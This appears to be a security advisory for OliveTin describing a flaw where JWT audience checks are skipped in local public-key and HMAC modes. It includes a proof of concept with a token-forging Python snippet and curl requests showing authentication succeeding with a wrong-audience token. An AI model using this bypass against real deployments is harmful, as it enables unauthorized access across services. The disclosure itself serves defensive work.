+ "details": "### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51–59, 144–157, 161–168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n Use a minimal config with JWT local key authentication:\n ```yaml\n authJwtPubKeyPath: ./public.pem\n authJwtHeader: Authorization\n authJwtClaimUsername: sub\n authJwtAud: expected-audience\n\n authRequireGuestsToLogin: true\n ```\n\n2. **Generate a Wrong-Audience Token**\n ```python\n python3 - <<EOF\n import jwt, datetime\n\n with open(\"private.pem\") as f:\n key = f.read()\n\n token = jwt.encode(\n {\n \"sub\": \"low\",\n \"aud\": \"wrong-audience\", # intentionally wrong\n \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n },\n key,\n algorithm=\"RS256\"\n )\n\n print(token)\n EOF\n ```\n This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H 'Content-Type: application/json' \\\n -d '{}'\n ```\n Expected response:\n ```\n HTTP/1.1 401 Unauthorized\n ```\n\n4. **Test With Wrong-Audience Token**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H 'Content-Type: application/json' \\\n -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n -d '{}'\n ```\n Expected response:\n ```\n HTTP/1.1 200 OK\n {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n ```\n Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.",
0 commit comments